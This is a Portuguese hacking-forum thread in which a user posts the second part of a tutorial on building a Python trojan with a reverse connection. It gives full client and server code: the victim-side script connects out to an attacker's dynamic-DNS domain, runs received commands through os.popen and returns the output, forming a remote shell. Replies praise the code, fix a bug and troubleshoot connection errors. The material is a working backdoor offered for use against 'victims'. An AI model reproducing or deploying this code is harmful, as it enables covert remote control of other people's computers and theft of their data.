Bem-vindo(a) ao Fórum do Guia do Hacker.
Guia do Hacker - Seu Guia Completo de Informação Digital

Fórum do Guia do Hacker » Programação e Banco de Dados » Programação Desktop » Perl/Python/Batch/Cobol » Python Introdução a trojans com Python (2) - Conexão Reversa

Perl/Python/Batch/Cobol Sobre esses quatro tipos linguagens.

Tópicos Similares
Tópico Tópico Iniciado Por Fórum Respostas Última Mensagem
Python Introdução a trojans com Python Radicalzinho Perl/Python/Batch/Cobol 14 08-01-2015 12:52
Revista Introdução a Engenharia Reversa Abaddon Engenharia Reversa 9 26-12-2014 15:38
Conexão Reversa Estranged Dúvidas 3 18-02-2012 11:57

Resposta
Ferramentas do Tópico vBmenu Seperating Image Modos de Exibição vBmenu Seperating Image
Python Introdução a trojans com Python (2) - Conexão Reversa
Antigo 12-01-2015, 01:27   #1
Radicalzinho
Programador
 
Avatar de Radicalzinho
 
Status: Programador
Registrado em: Nov 2010
Localização: São Paulo
Posts: 141
Agradeceu: 109
Agradecido 199 Vezes em 62 Posts
Radicalzinho é um desconhecido na estrada
oh Introdução a trojans com Python (2) - Conexão Reversa

Este tópico é continuação do [Somente usuários registrados podem ver os Links. Clique aqui para se REGISTRAR]. Para acompanhar o conteúdo, recomendo que o leia este tópico anterior antes de continuar.


Começando:

Agora que já temos o conceito de sockets e sabemos manipulá-los, está na hora de se utilizar da conexão reversa em nosso trojan, assim não é necessário saber o ip da vítima, já que agora a vítima irá se conectar à nós.


O que é conexão reversa?

Citação:
Um trojan pode usar dois tipos de conexão, “Direta” ou “Reversa”, em conexão direta o Hacker tem que se conectar a vitima por meio do endereço de IP da mesma, ou seja, o Hacker primeiramente deve preocupar-se em saber como pegar o endereço de IP da vítima, caso contrario não haveria motivo para ele criar um server, já que ele não poderia se conectar a vítima, e como se já não bastasse, para quem não sabe o nosso endereço de IP muda a cada vez que nos conectamos a Internet, ou seja, além de saber como pegar o IP da vítima o Hacker também teria que pegar o novo IP da vítima a cada vez que ela se conectasse a Internet. Já em conexão reversa o trabalho de ter que pegar o IP da vítima é dispensável, afinal, os papeis serão invertidos, quem terá o trabalho de se conectar ao trojan será a vitima.

Quando usamos a conexão reversa, nós devemos fornecer o nosso endereço de IP para que a vítima se conecte a nós!

Opaaaa, mas o IP não muda?

– Sim ele muda!

@#$% então o que adianta eu colocar o meu IP no trojan se depois ele vai mudar? Como que a vitima vai se conectar comigo depois?

– Calma, relaxa ai e deixa eu terminar!!!

Continuando…. Quando usamos conexão reversa nós devemos fornecer o nosso endereço de IP para que a vitima se conecte a nós, massssss como o nosso IP também muda a cada vez que nos conectamos a Internet nós temos que recorrer ao “No-IP”.

Aaaaaaaaaa ta ! Mas o que é No-IP?

O No-IP gera um DNS para você, DNS esse que servira como uma espécie de IP fixo, dessa forma, ao invés de colocar o seu IP no server do trojan você deve colocar o seu No-IP, sendo assim, a vítima sempre poderá se conectar a você, até mesmo se você for para outro país, ou até mesmo outro planeta …
Retirado de: [Somente usuários registrados podem ver os Links. Clique aqui para se REGISTRAR] [Acesso: 12/01/2015 às 01h:00]


Mas Radicalzinho, oque é DNS?

DNS ou Domain Name System (algo como Sistema de Nome de Domínio) é um serviço que basicamente troca ips por domínios. Por exemplo, ao digitar [Somente usuários registrados podem ver os Links. Clique aqui para se REGISTRAR] você é redirecionado ao site da google, que está hospedado em um servidor, e esse servidor possui um número ip que nos permite estabelecer conexão com o mesmo solicitando a página do google. Ou seja, o DNS simplesmente faz uma "conversão" do domínio [Somente usuários registrados podem ver os Links. Clique aqui para se REGISTRAR] para o número ip do servidor. [Somente usuários registrados podem ver os Links. Clique aqui para se REGISTRAR]

Mãos na massa!

Chega dessa teoria chata! Vamos programar!

Cliente:
Código PHP:
#!/usr/bin/env python
# -*- coding:utf-8 -*-

import socket #Importando socket

socket.socket(socket.AF_INETsocket.SOCK_STREAM#Definindo o tipo de socket que vamos utilizar
serv_socket.setsockopt(socket.SOL_SOCKETsocket.SO_REUSEADDR1)
s.bind((''7000)) #Passando o nome do host (uma string vazia já que qual quer um pode se conectar) e a porta de conexão
s.listen(5#Colocando em modo de escuta
print ('aguardando conexao')
conserver s.accept() #Conexão aceita
print ('conectado')

recebe con.recv(512#Recebendo mensagem
print(recebe)

while 
True#Looping infinito para poder enviar vários comandos

    
try:

        
cmd raw_input('Digite um comando: '#Comando a ser enviado
        
con.send(cmd#Enviando comando

        
if cmd == 'quit'#Se o comando for quit fecha a conexão e sai do looping
            
s.close()
            break
        else: 
#Se não esera ser retornado uma mensagem
            
recebe con.recv(512)
            print(
recebe)

    
except#Caso de erro feche a conexão e saia do looping
        
s.close()
        break 
Servidor:
Código PHP:
#!/usr/bin/env python 
# -*- coding:utf-8 -*-

import ossocket #Importando socket e os

socket.socket(socket.AF_INETsocket.SOCK_STREAM#Definindo o tipo de socket que vamos utilizar

#Agora vamos passar como parametro o domínio no-ip do atacante
host socket.gethostbyname('seudominionoip.ddns.net'#A função gethostbyname retorna o ip do domínio

s.connect((host7000)) #Se conectando ao client
s.send('Vítima conectou-se...   '#Enviando mensagem ao client

while True#Looping infinito

    
try:

        
data s.recv(512#Esperando receber comando do client

        
if data.startswith('cd'): #Se o comando for cd retira o \n do final
            
os.chdir(data[3:].replace('\n',''))
            
s.send('movendo para '+str(os.getcwd())) #Enviando localização ao client
            
result='\n'
        
        
elif data == 'quit'#Se for quit fecha a conexão e sai do looping
            
s.close()
            break
            
        else:
            
result os.popen(data).read() #O comando é executado e o resultado salvo na variavel result

            
if(result != ''): #Se o resultado for vazio
                
s.send(result#Envia resultado
            
else:
                
s.send('Comando recebido'#Envia mensagem de confirmação da chegada do comando

    
except#Fecha a conexão e sai do looping
        
s.close()
        break 
Como vocês podem ver, foi simples a implementação da conexão reversa em nosso trojan. A partir de agora, o cliente(atacante) irá ficar em modo escuta até receber uma conexão do servidor(vítima), e o resultado dos comandos é exibido apenas ao client, graças ao comando os.popen(data).read().

Compilando e finalizando
Para finalizar, vamos [Somente usuários registrados podem ver os Links. Clique aqui para se REGISTRAR]

Material Adicional:
[Somente usuários registrados podem ver os Links. Clique aqui para se REGISTRAR]
[Somente usuários registrados podem ver os Links. Clique aqui para se REGISTRAR]

Espero que tenham gostado desses 2 tópicos, e que seja de grande utilidade.



Notice: This Ad only show to guest, please register now to disappear !
__________________
"Não subestime os fracos pois eles não agem com a força e sim com a mente."
Radicalzinho está offline   Responder com Citação
Os 14 Usuários Agradeceram (a): Radicalzinho por gostarem desta postagem:
AnakinSyst3m (07-03-2016), bytesombrio (14-03-2016), coiote (05-02-2016), fpadre (22-02-2015), fr0st (14-02-2016), Geek_Strong (24-01-2016), LucasDevil (10-02-2016), luiz9 (18-02-2016), Lukasheidern (01-04-2018), ra244238@gmail.com (19-02-2016), rafaz182 (12-01-2015), Rolando.Sanches (03-11-2016), SparkoN (28-06-2017), tox1c (16-09-2018)
Links Patrocinados
Antigo 23-01-2016, 14:33   #2
2016henrique
Membro
 
Avatar de 2016henrique
 
Status: Membro
Registrado em: Jan 2016
Localização: Não sei
Posts: 2
Agradeceu: 0
Agradecido 1 Vez em 1 Post
2016henrique é um desconhecido na estrada
Padrão Me ajudará futuramente!

O seu tópico explicou muito bem como funciona trojan, e estou aprendendo á programar em python e enetendi a tstrutura do código vlws



Notice: This Ad only show to guest, please register now to disappear !
2016henrique está offline   Responder com Citação
O seguinte Usuário Agradeceu (a): 2016henrique por gostar desta postagem:
Radicalzinho (03-02-2016)
Antigo 18-02-2016, 00:50   #3
2contosx
Membro
 
Avatar de 2contosx
 
Status: Membro
Registrado em: Feb 2016
Localização: SC
Posts: 1
Agradeceu: 0
Agradecido 0 Vezes em 0 Posts
2contosx é um desconhecido na estrada
Padrão

Bacana velho, gostei do teu codigo.. bem estruturado e bem indentado.. Também sou programador PYTHON, tenho uma versao parecida com essa tua mas a minha usa o terminal do cliente como shell, e posso fazer oque der cabeça hehehhe... Como que tu fez pra receber a tag de programador?



Notice: This Ad only show to guest, please register now to disappear !
2contosx está offline   Responder com Citação
Antigo 03-03-2016, 18:42   #4
Radicalzinho
Programador
 
Avatar de Radicalzinho
 
Status: Programador
Registrado em: Nov 2010
Localização: São Paulo
Posts: 141
Agradeceu: 109
Agradecido 199 Vezes em 62 Posts
Radicalzinho é um desconhecido na estrada
Padrão

Citação:
Postado Originalmente por 2contosx Ver Post
Bacana velho, gostei do teu codigo.. bem estruturado e bem indentado.. Também sou programador PYTHON, tenho uma versao parecida com essa tua mas a minha usa o terminal do cliente como shell, e posso fazer oque der cabeça hehehhe... Como que tu fez pra receber a tag de programador?
Publicando alguns programinhas bobos na área de Programas e Utilitários do fórum



Notice: This Ad only show to guest, please register now to disappear !
__________________
"Não subestime os fracos pois eles não agem com a força e sim com a mente."
Radicalzinho está offline   Responder com Citação
O seguinte Usuário Agradeceu (a): Radicalzinho por gostar desta postagem:
anarquista65 (01-02-2018)
Antigo 28-03-2016, 19:02   #5
felipedasredes
Membro
 
Avatar de felipedasredes
 
Status: Membro
Registrado em: Jun 2010
Localização: ce
Posts: 4
Agradeceu: 3
Agradecido 0 Vezes em 0 Posts
felipedasredes é um desconhecido na estrada
Padrão

cliente deu esse erro

Traceback (most recent call last):
File "C:\Python27\cliente.py.txt", line 7, in <module>
serv_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
NameError: name 'serv_socket' is not defined



alguem pode me dizer a solução



Notice: This Ad only show to guest, please register now to disappear !
felipedasredes está offline   Responder com Citação
Antigo 04-06-2016, 16:55   #6
Radicalzinho
Programador
 
Avatar de Radicalzinho
 
Status: Programador
Registrado em: Nov 2010
Localização: São Paulo
Posts: 141
Agradeceu: 109
Agradecido 199 Vezes em 62 Posts
Radicalzinho é um desconhecido na estrada
Padrão

Citação:
Postado Originalmente por felipedasredes Ver Post
cliente deu esse erro

Traceback (most recent call last):
File "C:\Python27\cliente.py.txt", line 7, in <module>
serv_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
NameError: name 'serv_socket' is not defined



alguem pode me dizer a solução
Há um erro no meu código, me desculpe.

Substitua o serv_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) por s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)



Notice: This Ad only show to guest, please register now to disappear !
__________________
"Não subestime os fracos pois eles não agem com a força e sim com a mente."
Radicalzinho está offline   Responder com Citação
O seguinte Usuário Agradeceu (a): Radicalzinho por gostar desta postagem:
anarquista65 (01-02-2018)
Antigo 04-06-2016, 23:56   #7
Cougar
Programador
 
Avatar de Cougar
 
Status: Programador
Registrado em: Jan 2016
Localização: root@localhost
Posts: 125
Agradeceu: 52
Agradecido 98 Vezes em 48 Posts
Cougar é um desconhecido na estrada
Padrão

Posso atualizar o post inicial com a correção?



Notice: This Ad only show to guest, please register now to disappear !
Cougar está offline   Responder com Citação
Antigo 08-05-2017, 13:22   #8
d000nz4
Membro
 
Avatar de d000nz4
 
Status: Membro
Registrado em: May 2017
Localização: No Mundo
Posts: 2
Agradeceu: 1
Agradecido 0 Vezes em 0 Posts
d000nz4 é um desconhecido na estrada
Padrão

Muito bom, Obrigado por partilhar



Notice: This Ad only show to guest, please register now to disappear !
d000nz4 está offline   Responder com Citação
Antigo 16-09-2018, 13:51   #9
tox1c
Membro
 
Avatar de tox1c
 
Status: Membro
Registrado em: Jun 2016
Localização: São Paulo
Posts: 1
Agradeceu: 3
Agradecido 0 Vezes em 0 Posts
tox1c é um desconhecido na estrada
Padrão

Citação:
line 11, in <module>
s.connect((host, 7000))
ConnectionRefusedError: [WinError 10061] No connection could be made because the target machine actively refused it
tentei alterar ate o numero da porta, e nada, conectei o client e está em modo listen, porém o servidor nao consegue conectar, alguem sabe que erro pode ser esse?



Notice: This Ad only show to guest, please register now to disappear !
tox1c está offline   Responder com Citação
Resposta

Tags
backdoor, bem, cliente, codigo, como, como funciona, conexao reversa, correção, erro, fazer, funciona, minha, muito, programador, programar, programas, python, receber, seu, shell, sou, terminal, tópico, troja, trojan

Ferramentas do Tópico
Modos de Exibição

Regras para Posts
Você não pode postar novos tópicos
Você não pode postar respostas
Você não pode postar anexos
Você não pode editar seus posts

Código [IMG] Sim
Código HTML Não

Ir para...


 

Horários baseados na GMT -3. Agora são 20:20.


Please enable / Bitte aktiviere JavaScript!
Veuillez activer / Por favor activa el Javascript![ ? ]